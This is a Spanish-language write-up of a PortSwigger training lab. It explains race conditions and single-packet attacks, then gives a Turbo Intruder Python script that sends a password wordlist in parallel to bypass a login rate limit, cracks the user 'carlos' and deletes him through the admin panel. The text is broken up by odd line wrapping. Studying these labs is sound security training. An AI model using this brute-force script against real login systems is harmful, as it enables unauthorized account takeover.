Race Conditions Lab 2
Skills
- Bypassing rate limits via race conditions
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
utiliza un mecanismo de inicio de sesión
que implementa una limitación de velocidad
para defenderse contra ataques de fuerza bruta
. Sin embargo, esta protección puede ser eludida
debido a una race condition
Para resolver
el laboratorio
Identificar cómo
explotar
larace condition
paraeludir
lalimitación de velocidad
Realizar un ataque de
fuerza bruta
con éxito paradescubrir
lacontraseña
del usuariocarlos
Iniciar sesión
en la cuenta decarlos
yacceder
alpanel de administración
Eliminar
al usuariocarlos
Podemos iniciar sesión
en nuestra propia cuenta utilizando las credenciales wiener:peter
. Como diccionario
de contraseñas
podemos usar https://portswigger.net/web-security/authentication/auth-lab-passwords
Resolución
Al acceder
a la web
vemos esto
Si hacemos click sobre My account
, vemos un panel
de login
. Si hacemos demasiados intentos fallidos
nos arroja
este mensaje
En nuestro caso, nos podemosloguear
con las credenciales wiener:peter
Las race condition
son un tipo común de vulnerabilidad
estrechamente relacionada con los fallos de lógica de negocio
. Ocurren cuando los sitios web
procesan solicitudes
de forma concurrente sin los mecanismos de protección
adecuados. Esto puede hacer que múltiples hilos
distintos interactúen con los mismos datos
al mismo tiempo, lo que resulta en una colisión
que provoca un comportamiento
no deseado en la aplicación
. Un ataque
de race condition
utiliza solicitudes
enviadas con una sincronización
precisa para causar colisiones
intencionadas y explotar
este comportamiento
no deseado con fines maliciosos
El período de tiempo
durante el cual una colisión
es posible se conoce como race window
. Esto podría ser la fracción de segundo
entre dos interacciones
con la base de datos
, por ejemplo
Al igual que otros fallos de lógica
, el impacto
de una race condition
depende en gran medida de la aplicación
y de la funcionalidad específica
en la que ocurra
El tipo más conocido de race condition
nos permite exceder
algún tipo de límite
impuesto por la lógica de negocio
de la aplicación
Por ejemplo, consideremos una tienda en línea
que nos permite ingresar un código promocional
durante el pago
para obtener un descuento único
en nuestro pedido
. Para aplicar este descuento
, la aplicación
puede realizar los siguientes pasos de alto nivel
- Verificar que no hayamos usado antes este
código
- Aplicar el
descuento
altotal del pedido
- Actualizar el
registro
en labase de datos
para reflejar que ya hemos utilizado estecódigo
Si más tarde intentamos reutilizar este código
, las verificaciones iniciales
realizadas al inicio del proceso
deberían evitar
que lo hagamos
Ahora consideremos qué sucedería si un usuario
que nunca ha aplicado este código de descuento
antes intenta aplicarlo dos veces
casi al mismo tiempo
Como podemos ver, la aplicación
pasa por un subestado temporal
, es decir, un estado
del que entra y sale antes de que finalice el procesamiento
de la solicitud
. En este caso, el subestado
comienza cuando el servidor
empieza a procesar la primera solicitud
y finaliza cuando actualiza la base de datos
para indicar que ya hemos utilizado este código
. Esto introduce una pequeña race window
durante la cual podemos reclamar
el descuento
tantas veces como queramos
Existen muchas variantes
de este tipo de ataque
Canjear
unatarjeta de regalo
varias vecesCalificar
unproducto
varias vecesRetirar
otransferir
efectivo en exceso
delsaldo
de nuestracuenta
Reutilizar
una únicasolución CAPTCHA
Bypassear
unlímite de velocidad
de peticionesanti fuerza bruta
Las limit overrun race conditions
son un subtipo
de las llamadas fallas de time-of-check to time-of-use (TOCTOU)
. El proceso
de detectar
y explotarlas
es relativamente sencillo
. En términos generales, solo necesitamos
Identificar
unendpoint
deuso único
o conlímite de velocidad
que tenga algúnimpacto en la seguridad
o en algún otropropósito útil
Enviar
múltiplessolicitudes
a esteendpoint
enrápida sucesión
para ver si podemossobrepasar
estelímite
El principal desafío
es sincronizar
las solicitudes
de manera que al menos dos race windows
coincidan, causando una colisión
. Esta ventana
suele durar solo unos milisegundos
y puede ser incluso más corta
Aunque enviemos todas las solicitudes
exactamente al mismo tiempo
, existen diversos factores externos
incontrolables e impredecibles que afectan el momento
en que el servidor
procesa cada solicitud
y en qué orden
Desde el Repeater
de Burpsuite
podemos enviar fácilmente un grupo de solicitudes paralelas
de una manera que reduce significativamente el impacto de uno de estos factores, específicamente el network jitter
(variabilidad de latencia en la red). Burpsuite
ajusta automáticamente
la técnica
que utiliza según la versión de HTTP
soportada por el servidor
Para
HTTP/1
, utiliza la clásica técnica delast-byte synchronization
Para
HTTP/2
, utiliza la técnica desingle-packet attack
El single-packet attack
permite neutralizar completamente la interferencia del network jitter
utilizando un único paquete TCP
para completar de 20 a 30 solicitudes simultáneamente
. Aunque a menudo, podemos usar solo dos solicitudes
para activar un exploit
, enviar
un gran número
de solicitudes
de esta manera ayuda
a mitigar
la latencia interna
, también conocida como server-side jitter
. Esto es especialmente útil durante la fase inicial de descubrimiento
Además de proporcionar soporte nativo
para el single-packet attack
mediante el Repeater
, también podemos usar la extensión Turbo Intruder
para llevar a cabo este ataque
. Turbo Intruder
requiere tener cierta experiencia
en Python
, pero es adecuado para ataques
más complejos
, como aquellos que requieren múltiples reintentos
, temporización escalonada
de solicitudes o un número extremadamente alto de peticiones
Para usar
el single-packet attack
en Turbo Intruder
debemos
Asegurar
que elobjetivo
admiteHTTP/2
, ya que este ataque no escompatible
conHTTP/1
Configurar el
motor de solicitudes
estableciendoengine=Engine.BURP2
yconcurrentConnections=1
Al
enviar solicitudes
,agruparlas
asignándolas a unagate
mediante el argumentogate
en el métodoengine.queue()
Para
enviar
todas las solicitudes de ungrupo
, abrir lagate
correspondiente con el métodoengine.openGate()
1
2
3
4
5
6
7
8
9
10
11
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
# queue 20 requests in gate '1'
for i in range(20):
engine.queue(target.req, gate='1')
# send all requests in gate '1' in parallel
engine.openGate('1')
Si capturamos
la petición
que se hace a la hora
de iniciar sesión
vemos esto
Para mandar
esta petición
al Turbo Intruder
debemos pulsar click derecho > Extension > Turbo Intruder > Send to turbo intruder
Seleccionamos como script el race-single-packet-attack
El siguiente paso es crearnos
un archivo
que contenga todas las contraseñas
del diccionario https://portswigger.net/web-security/authentication/auth-lab-passwords. Posteriormente debemos marcar
donde queremos que ejerza la fuerza bruta
usando %s
Por último, modificamos
el script
por defecto para cargar
un diccionario
e iniciamos
el ataque
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def queueRequests(target, wordlists):
# If the target supports HTTP/2, use engine=Engine.BURP2 to trigger the single-packet attack
# If they only support HTTP/1, use Engine.THREADED or Engine.BURP instead
# For more information, check out https://portswigger.net/research/smashing-the-state-machine
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Load the wordlist
wordlist_path = "/home/justice-reaper/Desktop/passwords.txt"
with open(wordlist_path, 'r') as file:
passwords = file.readlines()
# Clean the words (remove line breaks)
passwords = [password.strip() for password in passwords]
# The 'gate' argument withholds part of each request until openGate is invoked
# If you see a negative timestamp, the server responded before the request was complete
for password in passwords:
engine.queue(target.req, password, gate='race1')
# Once every 'race1' tagged request has been queued
# Invoke engine.openGate() to send them in sync
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
Si filtramos
por Length
vemos que nos hace un redirect
, lo cual significa que la contraseña
es válida
Nos logueamos
con las credenciales carlos:letmein
Pulsamos sobre Admin panel
y eliminamos
al usuario carlos